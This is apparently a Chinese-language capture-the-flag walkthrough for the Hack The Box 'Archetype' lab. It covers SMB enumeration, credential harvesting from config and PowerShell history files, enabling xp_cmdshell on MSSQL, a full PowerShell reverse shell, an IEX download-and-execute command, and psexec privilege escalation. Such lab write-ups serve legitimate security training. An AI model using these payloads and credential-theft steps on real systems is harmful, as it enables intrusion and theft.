前言
这次开始hack the box靶场联系,首先的话先进行注册一个账号,账号里面的身份信息可以不用真实的,攻击机选择kali,因为kali是自带那个openvpn的,进入hack the box官网
在start point里面选择archetype,点击下面这个openvpn进行连接
选择download vpn
下载好后,复制一份,然后到kali进行粘贴,在桌面打开终端,输入以下命令运行
返回到hack the box可以看到已经连接成功了
点击下面的这个按钮,生成靶机的ip地址,这个过程可能需要2-3分钟
生成好后,就可以对当前的靶机进行一些渗透测试了
一.渗透测试
新开一个kali终端,输入以下命令
namp -sV --script vulners 10.129.207.83
-sV 代表收集服务器端口信息和开放的服务信息
–script vulners 代表使用扫描漏洞脚本
可以看到该服务器开放了135、139、445、1433等端口,以及一些已经公布的漏洞。其中1443是共享文件协议(smb)的默认端口。如果在没有配置权限的情况下,该协议可能允许匿名访问共享文件夹。接下来测试一下是否可以匿名访问共享文件夹。
smbclient -N -L //10.129.207.83/
-N 代表匿名访问
-L 代表列出共享文件夹
经过测试确实能匿名访问,接下来逐个查看一下这些文件夹里面有一些什么文件。最终在backups中发现一个敏感文件prod.dtsConfig,把这个文件下载下来。
smbclient -N //10.129.207.83/backups
ls
get prod.dtsConfig
在桌面就可以看到刚刚下载下来的文件,查看下
在这个文件中发现了账号 ARCHETYPE\sql_svc
和密码 M3g4c0rp123
,用这个账号尝试登陆一下SQL服务,在之前通过nmap已经扫描出该服务器上使用的是SQL server。
二.连接数据库
接下来使用网络工具协议包impacket中的mssqlclient来连接到SQL server服务器。在kali中是自带这个工具的。
impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.207.83
输入密码,可以看到已经连接上了
查看下是否有系统权限
SELECT IS_SRVROLEMEMBER ('sysadmin')
出现了1,有系统权限
输入以下命令
enable_xp_cmdshell
开启xp_cmdshell
查看下是否获得了系统权限
xp_cmdshell "whoami"
三.反弹shell
现在可以通过数据库执行操作系统命令,可以让服务器执行一段powershell命令来建立一个反向的shell。首先准备一个powershell文件a.ps1,该文件中代码如下所示(注意将其中的IP改成自己电脑中虚拟网卡的IP,即与靶机通信的IP地址)
$client = New-Object System.Net.Sockets.TCPClient("10.10.15.158",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
输入ifconfig就可以看到自己的虚拟ip了
搭建一个www服务器,将刚刚创建好的a.ps1放入到www文件夹下,然后在这个文件夹下打开终端
输入以下命令
python3 -m http.server 80
在浏览器中输入localhost,即可看到创建好的文件
再次新建一个终端,创建一个监听端口
nc -lvnp 4443
这里的端口号一定是4443,要跟a.ps1中的端口号对应
接下来在靶机的sql server中执行以下命令,注意:ip地址依然需要改成自己的虚拟ip
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.158/a.ps1\");""
回到监听窗口,发现此时已经成功建立连接
现在得到了普通管理员的权限,现在可以去桌面获取flag了。
四.提权
现在已经获取到一个flag了,接下来通过提权获取更高的权限。现在可以查看一下powershell的历史,说不定有意外的收获。
type
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
可以看出该用户执行过命令 net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!。该命令的作用是将主机ARchetype上的backups文件夹映射到自己的T盘,后面紧随着用户名和密码。
现在可以尝试用一下psexec提权,其原理是:
1.通过ipc$连接,释放psexecsvc.exe到目标
2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug。
输入以下命令,出现以下界面时就说明提权已经成功了
impacket-psexec administrator@10.129.207.83
此时就可以获取到最终的flag了
type C:\Users\Administrator\Desktop\root.txt
至此,已经获取到了所有的flag,可以到hack the box进行提交了